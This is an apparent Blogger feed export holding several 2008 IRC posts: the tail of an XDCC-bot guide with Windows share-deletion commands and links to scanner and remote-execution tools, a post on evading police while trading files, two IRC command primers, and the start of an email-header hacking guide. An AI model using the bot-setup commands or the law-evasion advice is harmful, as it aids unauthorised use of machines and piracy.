&gt;&gt; net.deld&lt;br /&gt;   net share /delete Z$ /y &gt;&gt; net.deld&lt;br /&gt;   net share /delete ADMIN$ &gt;&gt; net.deld&lt;br /&gt;   net share /delete IPC$ &gt;&gt; net.deld&lt;br /&gt;}&lt;br /&gt;&lt;br /&gt;IMPORTANT SITES:&lt;br /&gt;X-SCAN: http://www.xfocus.org/&lt;br /&gt;IROFFER: http://www.iroffer.org/&lt;br /&gt;SERV-U: http://www.serv-u.com/ &lt;br /&gt;FIREDAEMON: http://www.firedaemon.com/ &lt;br /&gt;PSEXEC: http://www.sysinternals.com/ntw2k/freeware/psexec.shtml/&lt;br /&gt;there at currently two popular site for searching the xdcc's&lt;br /&gt;http://www.packetnews.com/&lt;br /&gt;http://www.mydownloader.com/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-1604429652431855554?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/1604429652431855554/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/irc-xdcc-bots.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1604429652431855554'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/1604429652431855554'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/irc-xdcc-bots.html' title='IRC XDCC BOTS'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-2574692551581955005</id><published>2008-12-10T23:05:00.000+07:00</published><updated>2008-12-10T23:06:33.821+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IRC'/><title type='text'>IRC Trading</title><content type='html'>Many people are not aware of security problems while sending and reciving files &lt;br /&gt;(usualy known as 'trading' on mIRC), and since I am reasearching many security &lt;br /&gt;topics, I have decided to write this security file which could keep you of you &lt;br /&gt;jail. No bullshit!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;1. Introduction&lt;br /&gt;===============================================================================&lt;div class="fullpost"&gt;I hope you are at least an mIRC user so you can understand what FSERVE or DCC &lt;br /&gt;send/get and FTP servers are. If you don't know, learn fast: they are the net &lt;br /&gt;protocols for file transfer between two computers that are connected through &lt;br /&gt;internet. But they are ALL UNSAFE. Why?&lt;br /&gt;&lt;br /&gt;You might have feeling that you are safe on IRC and that nobody knows your real &lt;br /&gt;name since you nickname is not your real name and address, but.... The problem &lt;br /&gt;is your IP number that is visible to ANY user (look on /whois your_nickname). &lt;br /&gt;That IP number belongs to your ISP company and they know for 100% sure, from &lt;br /&gt;which phone number are you calling and which IP number are you using for IRC and &lt;br /&gt;all other Internet activity. With that information they can acctualy SEE all &lt;br /&gt;data that is passing to and from you.&lt;br /&gt;&lt;br /&gt;Well, you think that they can't intercept your private messages without a &lt;br /&gt;warrant. But....... if you are trading/sending some files and if your ISP &lt;br /&gt;company, based on existing police warrant, is monitoring your friend that you &lt;br /&gt;trade with, then they SHALL remember you TOO and you will be reported as his &lt;br /&gt;'friend'. After few days, weeks or even months when police decide to get in &lt;br /&gt;action against your friend they will visit YOU too (no matter if you are in &lt;br /&gt;another country then your friend, you will be visited by local police). What &lt;br /&gt;will happend? They will get a warrant to search your ENTIRE house and they will &lt;br /&gt;take your computer(s) and everthing other that is suspicious to them no matter &lt;br /&gt;are you guilty or not and then you have only to wait several months or years for &lt;br /&gt;them to complete investigation so that they can return you your computer(s). The &lt;br /&gt;only thing left to you is to pick a good lawyer.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;2. WHAT TO DO?&lt;br /&gt;======================================================================================&lt;br /&gt;&lt;br /&gt; **************************&lt;br /&gt; Solution A) OpenSSH&lt;br /&gt; **************************&lt;br /&gt;&lt;br /&gt;Use secure Internet protocols like SFTP. SFTP is implemented into OpenSSH &lt;br /&gt;project which includes both secure ftp SERVER and CLIENT utility (no Win98/95 &lt;br /&gt;version). Your ISP and police will see scrambled data going between you are and &lt;br /&gt;your 'deviant' friend, and they will know EXACT identity of both of you, but &lt;br /&gt;they could NOT tell to understand what were you sending to each other!!&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;To download Windows2K/NT version of OpenSSH server+client go to :&lt;br /&gt;&lt;br /&gt;http://www.networksimplicity.com/openssh/&lt;br /&gt;&lt;br /&gt;For other OS go to (there is no Win95/98 version):&lt;br /&gt;&lt;br /&gt;http://www.openssh.com&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ***************************&lt;br /&gt; Solution B) PGP mirc-script&lt;br /&gt; ***************************&lt;br /&gt;&lt;br /&gt;Currently there is no Win95/98 version for OpenSSH, but the only solution would &lt;br /&gt;be using PGP encryption. And I hope I will find some other utilities for next &lt;br /&gt;edition. Someone might write PGP on-the-fly encryption script for mIRC.......&lt;br /&gt;&lt;br /&gt; Homesite: http://web.mit.edu/network/pgp.html&lt;br /&gt;&lt;br /&gt; Since there are many PGP pages, and some people are thinking that the &lt;br /&gt; only realy secure PGP version is v2.6.2, be carefull what you download &lt;br /&gt; and from where you download. I am suggesting to download all utilities &lt;br /&gt; from realy democratic countries (not from: USA, western European &lt;br /&gt; countries, poor countries that are depending on those rich &lt;br /&gt; countries......)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ***************************&lt;br /&gt; Solution C) Legal Trick&lt;br /&gt; ***************************&lt;br /&gt;&lt;br /&gt;If you have Win95/98 and you haven't solved secure file transfers there is one &lt;br /&gt;plain trick that you could use to fool the cops. This is just last resort idea. &lt;br /&gt;First: don't run RATIO ftp or fserve. Keep it open (but set password) so that &lt;br /&gt;'anybody' who knows your password can freely download anything from it. Second: &lt;br /&gt;put note on your site: "entering this site is forbidden by the owner and if you &lt;br /&gt;proceede it would be considering like tresspassing private property, leave now". &lt;br /&gt;So, police can't sue you for trading (file swaping is considering just like a &lt;br /&gt;real trade, you recive something in return for offered goods). The only thing &lt;br /&gt;police can sue you against, is the POSSESION of 'stuff' and the charges for &lt;br /&gt;possesing that stuff is depending on your local laws. But if you are using some &lt;br /&gt;encryption utility (read bellow) on your PC, they won't be able to get it.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; ***************************&lt;br /&gt;If you have any new solutions for secure file transfers, MSG ME on mIRC.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3. ENCRYPTION UTILITIES FOR YOUR PC DATA (this is not for internet traffic encryption)&lt;br /&gt;======================================================================================&lt;br /&gt;&lt;br /&gt; Utility No.1 : SCRAMDISK&lt;br /&gt; ***************************&lt;br /&gt;&lt;br /&gt; Excellent data encryption utility. Working through big file containers. &lt;br /&gt;&lt;br /&gt; Specialty: it can encrypt entire PARTITIONS&lt;br /&gt; &lt;br /&gt; Homepage: http://www.scramdisk.clara.net/&lt;br /&gt;&lt;br /&gt; NOTE: there is new product on their site: DriveCrypt. Haven't checked. &lt;br /&gt; Be carefull, it is not yet checked. In any product, there could be &lt;br /&gt; backdoors so it is important to wait a few time before using it.&lt;br /&gt; &lt;br /&gt;&lt;br /&gt; Utility No.2 : BestCrypt&lt;br /&gt; ***************************&lt;br /&gt; Excellent data encryption utility. Working through big file containers. &lt;br /&gt;&lt;br /&gt; Specialty: SWAP FILE encryption&lt;br /&gt;&lt;br /&gt; Homepage: http://www.bestcrypt.com/&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Accessing files that are into those encrypted 'file containers' is achived &lt;br /&gt;through new drive letter that will appear when you enter required password. &lt;br /&gt;Encryption is fast and I hope unbreakable (there is always chance for breaking, &lt;br /&gt;but make it minimal). Also, you can install all your software (except Windows) &lt;br /&gt;into those encrypted 'file containers'. This is recommended because of possibile &lt;br /&gt;logs that some programs are writing to disk (or at least install your internet &lt;br /&gt;utilities into encrypted file containers). Once you install above utilities, you &lt;br /&gt;will use them for ever.&lt;br /&gt;&lt;br /&gt;Gift for you if you are still reading this: you can make 650MB 'file &lt;br /&gt;containers', burn them onto CD and send it to a friend and when he recives it, &lt;br /&gt;you can send him a password through some secure ways (I am recomending you to encrypt&lt;br /&gt;your message with your friends PGP public key when you are sending him your password).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4. EXTRA WARNINGS&lt;br /&gt;======================================================================================&lt;br /&gt;&lt;br /&gt;NOTE for password choosing: when you are choosing password for any special &lt;br /&gt;encryption utility, and you are planning to protect realy important datas, don't &lt;br /&gt;use WORD, use complete SENTENCE as a password.&lt;br /&gt;&lt;br /&gt;Be carefull with FTP utilities. There are few that only encrypts FTP COMMAND channel,&lt;br /&gt;but not DATA channel, which is the most important.&lt;br /&gt;&lt;br /&gt;Also, forget protecting behind proxies since all traffic that is passing through &lt;br /&gt;your computer and proxy server is NOT secured (encrypted!) unless you are using &lt;br /&gt;payed proxies (which MAY encrypt traffic).&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5. The End&lt;br /&gt;======================================================================================&lt;br /&gt;&lt;br /&gt;If you have any suggestion, please be free to msg me.&lt;br /&gt;&lt;br /&gt;I am not affiliated with any site that I mentioned, including any other that I &lt;br /&gt;haven't mentioned.&lt;br /&gt;&lt;br /&gt;**********************************************************************&lt;br /&gt;Put this message to your ftp/fserver and mark it as FREE download&lt;br /&gt;**********************************************************************&lt;br /&gt;&lt;br /&gt;Keep trading......... files are not hurting anybody except to those rich idiots.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-2574692551581955005?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/2574692551581955005/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/irc-trading.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2574692551581955005'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/2574692551581955005'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/irc-trading.html' title='IRC Trading'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-3848322557447451274</id><published>2008-12-10T23:02:00.000+07:00</published><updated>2008-12-10T23:03:41.085+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IRC'/><title type='text'>What is an IRC network</title><content type='html'>What is IRC?&lt;br /&gt;&lt;br /&gt;IRC stands for Internet Relay Chat. It is a means of instant communication over the internet, such as instant messaging services (ie, MSN, Yahoo and ICQ), except that IRC can support an unlimited amount of anonymous or other users.&lt;br /&gt;&lt;br /&gt;It was invented in 1988 and ran on small University servers with occasionally more than 10 users. It was based on usenet but in realtime. Users could send messages instantly to a server for all to read and reply to. But the history of IRC is unimportant.&lt;br /&gt;&lt;div class="fullpost"&gt;&lt;br /&gt;What is an IRC network?&lt;br /&gt;&lt;br /&gt;An IRC network is a collection of IRC servers, they act as one large server hosting many people in different locations. Each server is connected to the other so that IRC 'channels' or rooms are the same on each server, so person A on server A can talk to person B on server B, if you understand. Then benefits of multi server networks is that as well as allowing more users and speed in the event of a server crash everything should still run as normal. Once again, this is not important.  &lt;br /&gt;&lt;br /&gt;How do I connect to an IRC network?&lt;br /&gt;&lt;br /&gt;To start with you will need some form of client. The client software comunicates with the IRC servers to send information back and forth. The most popular clients you will find are Java Applets and third party clients, such as mIRC.&lt;br /&gt;&lt;br /&gt;Java Applets&lt;br /&gt;&lt;br /&gt;These are very basic and lightweight. A typical java client will have a main message window a user list and a send message test box. Java clients are so lightweight as they are meant  to be run directly off the internet, as quick as possible. Some java clients have more advanced options such as sound, emoticon pictures. Java applets are normally insecure, connect to only one server and with limited features so aren't the choice of the more l33t haxx0r5.&lt;br /&gt;&lt;br /&gt;Java users:&lt;br /&gt;&lt;br /&gt;Clicking on chat will take you to another page. Click on the "Chat" button and a windowed applet will appear.&lt;br /&gt;&lt;br /&gt;The applet will load and take you to #MoTT'sDirtyMind, you will need to type: /msg NickServ Identify &lt;password&gt; the replace your password with the one you chose when/if you registered your IRC nick.&lt;br /&gt;&lt;br /&gt;If you don't like your name or forgot your password, type /nick &lt;new name&gt; .&lt;br /&gt;&lt;br /&gt;Once your name is all sorted out and you are connected you will be forcefully thrown into #MoTT'sDirtyMind.&lt;br /&gt;&lt;br /&gt;There are three main windows, the channel window (where people's text is output, this is more or less central), the user list (lists users in chat, on the right) and the text bar (which is below the channel and user windows). Just click on the text bar and type away, press enter to send text.&lt;br /&gt;&lt;br /&gt;Next to the text box on the left are a load of colours and some letters (B, R, U and N). Clicking on the colours will change your text colour, clicking on a letter will give you bold text, underlined text, reverse your text's colours or return your text to normal.&lt;br /&gt;&lt;br /&gt;Underneath these are two dropdown menus, actions and commands. Commands isn't important for the casual IRC user, but just to let you know, they give ou quick access to services such as NickServ. The actions menu performs automated /me options. Clicking on a users name then choosing an action will produce something such as:&lt;br /&gt;&lt;br /&gt;* MoTT runs over rohitab lightly in a 4x4&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Third Party Clients&lt;br /&gt;&lt;br /&gt;These are permanent applications that allow connections to many servers quickly, easily, efficiently with many options and security. Other benefits of these applications are the use of proxy servers, multiple server connections, bots and functionality. The most common software for IRC browsing is mIRC by Khaled Mardam-Bey http://www.mirc.com&lt;br /&gt;&lt;br /&gt;Most java applets are predefined for connection to specific servers, so there is little that can be said, simply choose a username and click connect.&lt;br /&gt;&lt;br /&gt;mIRC users:&lt;br /&gt;&lt;br /&gt;IRC applications however normally come with a list of proxy servers and allow the addition of extra servers. You should read your application's help guide for information on connecting and adding a server, I will however run through mIRC as this is the most popular:&lt;br /&gt;&lt;br /&gt;1) When you run mIRC you will be greeted with a popup advertising mIRC, ignore this and click the X . The mIRC options, connections tab will be opened.&lt;br /&gt;&lt;br /&gt;2) Before going anywhere, fill in the name, e-mail, nickname and alternative nickname forms. These details do not need to be correct.&lt;br /&gt;&lt;br /&gt;3) Next choose your server from the second, larger dropdown box, if your server isn't there simply click Add. You will now have to fill out a form for the new server, choose a description/name for listing in the dropdown box, a server address and a port. Unless you are told otherwise by the server owner, there is no need to fill the group and password boxes in. Here is an example:&lt;br /&gt;&lt;br /&gt;Description: IRChat&lt;br /&gt;IRC Server: chat.irchat.tv&lt;br /&gt;Port(s): 6666,6667&lt;br /&gt;Group:&lt;br /&gt;Password:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4) Now all you need to do is click OK then connect and you will be logged on. If however you want to connect to 2 or more servers at once, you must select the small 'New Server Window' option, this will connect to the server but keep your previous connections alive and running.&lt;br /&gt;&lt;br /&gt;5) If your nick name is registered (more about this later) you will need to type: /msg NickServ Identify &lt;password&gt; the replace your password with the one you chose when you registered your IRC nick.&lt;br /&gt;&lt;br /&gt;If you don't like your name or forgot your password, type /nick &lt;new name&gt; .&lt;br /&gt;&lt;br /&gt;6) Type /j #MoTT'sDirtyMind into any window and you will be taken there.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Registering your nickname&lt;br /&gt;&lt;br /&gt;This is the same for both mIRC and the applet. It will stop others from using your nickname, simply type: /msg nickserv &lt;password&gt; &lt;e-mail&gt; and it will register your current name.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;What Can I Do On IRC?&lt;br /&gt;&lt;br /&gt;Logging on is the easy bit  IRC nearly has it's own language (in fact, mIRC does have it's own language, which I will discuss later). The following commands should be compatible anywhere on IRC:&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Basic Functions&lt;br /&gt;&lt;br /&gt;/NICK &lt;NICK&gt;&lt;br /&gt;&lt;br /&gt;This will change you nick to whatever follows /nick for example: /nick MoTT_Rules would change your nick to 'MoTT_Rules' (NOTE: You are only allowed one word for your nick, therefore: /nick MoTT Rules would change your nick to 'MoTT'.&lt;br /&gt;&lt;br /&gt;/JOIN &lt;#CHANNEL&gt;&lt;br /&gt;&lt;br /&gt;Join's the specified channel: /join #rohitab would join channel rohitab (NOTE: Channel names must be prefixxed with a #). This command opens a new chat window (apart from on a few java clients).&lt;br /&gt;&lt;br /&gt;/PART &lt;#CHANNEL&gt;&lt;br /&gt;&lt;br /&gt;Leaves channel, closing the channel window, useage: /part #rohitab.&lt;br /&gt;&lt;br /&gt;Chatting&lt;br /&gt;&lt;br /&gt;Chatting is easy, when you are in a channel simply talk into your command box, this will just be a small text box, pressing enter will send the command. If you do not prefix commands with a forwardslash (/) IRC will interpret it as text and send it to your current channel.&lt;br /&gt;Different chatting commands are:&lt;br /&gt;&lt;br /&gt;/MSG &lt;USER&gt; &lt;MESSAGE&gt;&lt;br /&gt;&lt;br /&gt;Sends a message to the specified user wherever they are on IRC (be it in channel or otherwise). For example, saying : /msg Manitou Hello World! would make a personal message popup in front of me containing the words 'Hello World'&lt;br /&gt;&lt;br /&gt;/MSG &lt;#CHAN&gt; &lt;MESSAGE&gt;&lt;br /&gt;&lt;br /&gt;Would send a message to the channel specified. For example, saying: /MSG #ROHITAB Hello World would cause the text 'Hello World' to be entered into channel rohitab (NOTE: the channel name must be prefixxed with a #).&lt;br /&gt;&lt;br /&gt;/ME &lt;text&gt;&lt;br /&gt;&lt;br /&gt;This is an action, sometimes used as /action &lt;text&gt;. '/ME slaps rohitab with a trout' would produce the following (if your name was Manitou): *Manitou slaps rohitab with a trout.&lt;br /&gt;&lt;br /&gt;Advanced/Moderators Options&lt;br /&gt;&lt;br /&gt;There are two types of police forces on IRC networks, moderators and ops. IRCOPS are always online and have moderator powers all over a network, it's rumoured they get paid...pretty well considering they only have to be online. Moderators are users appointed by channel founders to watch and for some reason moderate channels.&lt;br /&gt;Moderators get extra IRCOP privelages (in their specified channels), these privelages are:&lt;br /&gt;&lt;br /&gt;op/deop - change the moderator status of another user&lt;br /&gt;voice/devoice - give or take users voice (voice allows users to talk when moderation is enabled, useful against spammers)&lt;br /&gt;kick - kick a user from the channel&lt;br /&gt;ban - ban a user temporarily or permanently from a channel&lt;br /&gt;&lt;br /&gt;Bots are normally used in the moderation of a channel, they are server side and help manage bans and kicks. Bots normally include extra commands, but as each bot will be different I won't go into it. I will, however, point out that most bots will carry out a command if preceded with a ! so if you said: !kick Manitou and you were a channel moderator then Manitou (me) would be kicked.&lt;br /&gt;&lt;br /&gt;The basic moderator commands for IRC are easy to use, as this you should have a better understand, I will not add any comments:&lt;br /&gt;&lt;br /&gt;Opping a user: /mode &lt;#channel&gt; &lt;nick&gt; +o&lt;br /&gt;&lt;br /&gt;Deopping a user:  /mode &lt;#channel&gt; &lt;nick&gt; -o&lt;br /&gt;&lt;br /&gt;Voicing a user: /mode &lt;#channel&gt; &lt;nick&gt; +v&lt;br /&gt;&lt;br /&gt;Devoicing a user: /mode &lt;#channel&gt; &lt;nick&gt; -v&lt;br /&gt;&lt;br /&gt;Kicking a user: /kick &lt;#channel&gt; &lt;nick&gt; (NOTE: if no channel is given, it will accept the command to the active channel).&lt;br /&gt;&lt;br /&gt;Kicking a user with a reason: /kick &lt;#channel&gt; &lt;nick&gt; &lt;reason&gt; Any text that follows he username in a kick will be used as a reason.&lt;br /&gt;&lt;br /&gt;Banning a user: /mode &lt;#channel&gt; &lt;nick&gt; +b  &lt;br /&gt;&lt;br /&gt;Bots allow timed bans and exceptions.&lt;br /&gt;&lt;br /&gt;For mIRC users all of these commands are available by right clicking on a users name in the user list.&lt;br /&gt;&lt;br /&gt;If you want to know more about IRC read my guide to Epona services, a set of services used on the IRChat network.&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-3848322557447451274?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/3848322557447451274/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/what-is-irc-network.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/3848322557447451274'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/3848322557447451274'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/what-is-irc-network.html' title='What is an IRC network'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-6566133270178622888</id><published>2008-12-10T22:55:00.001+07:00</published><updated>2008-12-10T22:58:11.352+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='IRC'/><title type='text'>IRC Basic Commands</title><content type='html'>/alias Alias_name Command  Creates a command alias with an existing command&lt;br /&gt;/channel #channel_name  Joins the channel #channel_name&lt;br /&gt;/clear  Clears the display&lt;br /&gt;/ctcp nick command  Executes some special commands (PING, FINGER, VERSION,&lt;br /&gt;TIME, USERINFO, CLIENTINFO)&lt;br /&gt;/invite #channel nickname  Invites nickname on #channel&lt;br /&gt;/kick #channel_name nickname  Ejects nickname from #channel_name (needs to&lt;br /&gt;be an operator)&lt;br /&gt;/leave #channel_name  Quits the channel #channel_name&lt;br /&gt;/list  Shows the list of channels (can be very slow)&lt;br /&gt;/lusers  Shows statistics for server&lt;br /&gt;/map  Shows all servers connected&lt;br /&gt;/me message  Does the action specified by message on the channel&lt;br /&gt;/mode mask  Changes the mode for the channel or for a nick (you need to be&lt;br /&gt;op on the channel)&lt;br /&gt;/motd  Shows the Message Of The Day&lt;br /&gt;/msg nickname message  Sends a private message to nickname &lt;div class="fullpost"&gt;&lt;br /&gt;/names  Shows the list of people connected (can be very slow)&lt;br /&gt;/nick nickname  Changes the nick to nickname&lt;br /&gt;/notify nickname  Prints message when nickname connects/disconnects&lt;br /&gt;/query nickname  Allows a particular chat with nickname&lt;br /&gt;/quit message  Disconnects from undernet&lt;br /&gt;/quote command  Sends command directly to the server&lt;br /&gt;/raw command  Same as /quote&lt;br /&gt;/topic #channel [text]  Shows [Changes] the topic on #channel&lt;br /&gt;/who mask  Shows people matching the mask (can be a channel)&lt;br /&gt;/whois nickname  Shows information on nickname&lt;br /&gt;&lt;br /&gt;&lt;/div&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/9075231620953005452-6566133270178622888?l=chibogacrew.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://chibogacrew.blogspot.com/feeds/6566133270178622888/comments/default' title='Poskan Komentar'/><link rel='replies' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/irc-basic-commands.html#comment-form' title='0 Komentar'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6566133270178622888'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/9075231620953005452/posts/default/6566133270178622888'/><link rel='alternate' type='text/html' href='http://chibogacrew.blogspot.com/2008/12/irc-basic-commands.html' title='IRC Basic Commands'/><author><name>arie yanie</name><uri>http://www.blogger.com/profile/07630688728764444344</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='21' height='32' src='http://2.bp.blogspot.com/-wR0RpbOVqU8/TbuIQ84ZrrI/AAAAAAAAAXY/V5OPJ1hee08/s220/b301.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-9075231620953005452.post-4542429538649523856</id><published>2008-12-10T20:36:00.001+07:00</published><updated>2011-03-26T18:45:26.011+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='tips and trick'/><title type='text'>Howto Read Email Header</title><content type='html'>Now some of you may think that headers are too simple or boring to waste&lt;br /&gt;time on. However, a few weeks ago I asked the 3000+ readers of the Happy&lt;br /&gt;Hacker list if anyone could tell me exactly what email tricks I was playing&lt;br /&gt;in the process of mailing out the Digests. But not one person replied with a&lt;br /&gt;complete answer -- or even 75% of the answer -- or even suspected that for&lt;br /&gt;months almost all Happy Hacker mailings have doubled as protests. The&lt;div class="fullpost"&gt;&lt;br /&gt;targets: ISPs offering download sites for email bomber programs. Conclusion:&lt;br /&gt;it is time to talk headers!&lt;br /&gt;&lt;br /&gt;In this Guide we will learn:&lt;br /&gt;· what is a header&lt;br /&gt;· why headers are fun&lt;br /&gt;· how to see full headers&lt;br /&gt;· what all that stuff in your headers means&lt;br /&gt;· how to get the names of Internet host computers from your headers&lt;br /&gt;· the foundation for understanding the forging of email and Usenet posts,&lt;br /&gt;catching the people who forge headers, and the theory behind those email&lt;br /&gt;bomber programs that can bring an entire Internet Service Provider (ISP) to&lt;br /&gt;its knees&lt;br /&gt;&lt;br /&gt;This is a Guide you can make at least some use of without getting a shell&lt;br /&gt;account or installing some form of Unix on your home computer. All you need&lt;br /&gt;is to be able to send and receive email, and you are in business. However,&lt;br /&gt;if you do have a shell account, you can do much more with deciphering&lt;br /&gt;headers. Viva Unix!&lt;br /&gt;&lt;br /&gt;Headers may sound like a boring topic. Heck, the Eudora email program named&lt;br /&gt;the button you click to read full headers "blah blah blah." But all those&lt;br /&gt;guys who tell you headers are boring are either ignorant -- or else afraid&lt;br /&gt;you'll open a wonderful chest full of hacker insights. Yes, every email&lt;br /&gt;header you check out has the potential to unearth a treasure hidden in some&lt;br /&gt;back alley of the Internet.&lt;br /&gt;&lt;br /&gt;Now headers may seem simple enough to be a topic for one of our Beginners'&lt;br /&gt;Series Guides. But when I went to look up the topic of headers in my library&lt;br /&gt;of manuals, I was shocked to find that most of them don't even cover the&lt;br /&gt;topic. The two I found that did cover headers said almost nothing about&lt;br /&gt;them. Even the relevant RFC 822 is pretty vague. If any of you&lt;br /&gt;super-vigilant readers looking for flame bait happen to know of any&lt;br /&gt;literature that *does* cover headers in detail, please include that&lt;br /&gt;information in your tirades!&lt;br /&gt;&lt;br /&gt;*********************************************&lt;br /&gt;Technical tip: Information relevant to headers may be extracted from&lt;br /&gt;Requests for Comments (RFCs) 822 (best), as well as 1042, 1123, 1521 and&lt;br /&gt;1891 (not a complete list). To read them, take your Web browser to&lt;br /&gt;http://altavista.digital.com and search for "RFC 822" etc.&lt;br /&gt;*********************************************&lt;br /&gt;&lt;br /&gt;Lacking much help from manuals, and finding that RFC 822 didn't answer all&lt;br /&gt;my questions, the main way I researched this article was to send email back&lt;br /&gt;and forth among some of my accounts, trying out many variations in order to&lt;br /&gt;see what kinds of headers they generated. Hey, that's how real hackers are&lt;br /&gt;supposed to figure out stuff when RTFM (read the fine manual) or RTFRFC&lt;br /&gt;(read the fine RFC)doesn't tell us as much as we want to know. Right?&lt;br /&gt;&lt;br /&gt;One last thing. People have pointed out to me that every time I put an email&lt;br /&gt;address or domain name in a Guide to (mostly) Harmless Hacking, a zillion&lt;br /&gt;newbies launch botched hacking attacks against these. All email addresses&lt;br /&gt;and domain names below have been fubarred.&lt;br /&gt;&lt;br /&gt;************************************************&lt;br /&gt;Newbie note: The verb "to fubar" means to obscure email addresses and&lt;br /&gt;Internet host addresses by changing them. Ancient tradition holds that it is&lt;br /&gt;best to do so by substituting "foobar" or "fubar" for part of the address.&lt;br /&gt;************************************************&lt;br /&gt;&lt;br /&gt;WHAT ARE HEADERS?&lt;br /&gt;&lt;br /&gt;If you are new to hacking, the headers you are used to seeing may be&lt;br /&gt;incomplete. Chances are that when you get email it looks something like this:&lt;br /&gt;&lt;br /&gt;From: Cool Guy&lt;coolguy@ifi.foobar.no&gt;&lt;br /&gt;Date: Fri, 1 March 2002&lt;br /&gt;To: hacker@techbroker.com&lt;br /&gt;&lt;br /&gt;But if you know the right command, suddenly, with this same email message,&lt;br /&gt;we are looking at tons and tons of stuff:&lt;br /&gt;&lt;br /&gt;Received: by o200.fooway.net (950413.SGI.8.6.12/951211.SGI)&lt;br /&gt;for techbr@fooway.net id OAA07210; Fri, 1 March 2002&lt;br /&gt;Received: from ifi.foobar.no by o200.fooway.net via ESMTP&lt;br /&gt;(950413.SGI.8.6.12/951211.SGI)&lt;br /&gt;for &lt;hacker@techbroker.com&gt; id OAA18967; Fri, 1 March 2002&lt;br /&gt;Received: from gyllir.ifi.foobar.no (2234@gyllir.ifi.foobar.no&lt;br /&gt;[129.xxx.64.230]) by ifi.foobar.no with ESMTP (8.6.11/ifi2.4)&lt;br /&gt;id &lt;uaa24351@ifi.foobar.no&gt; for 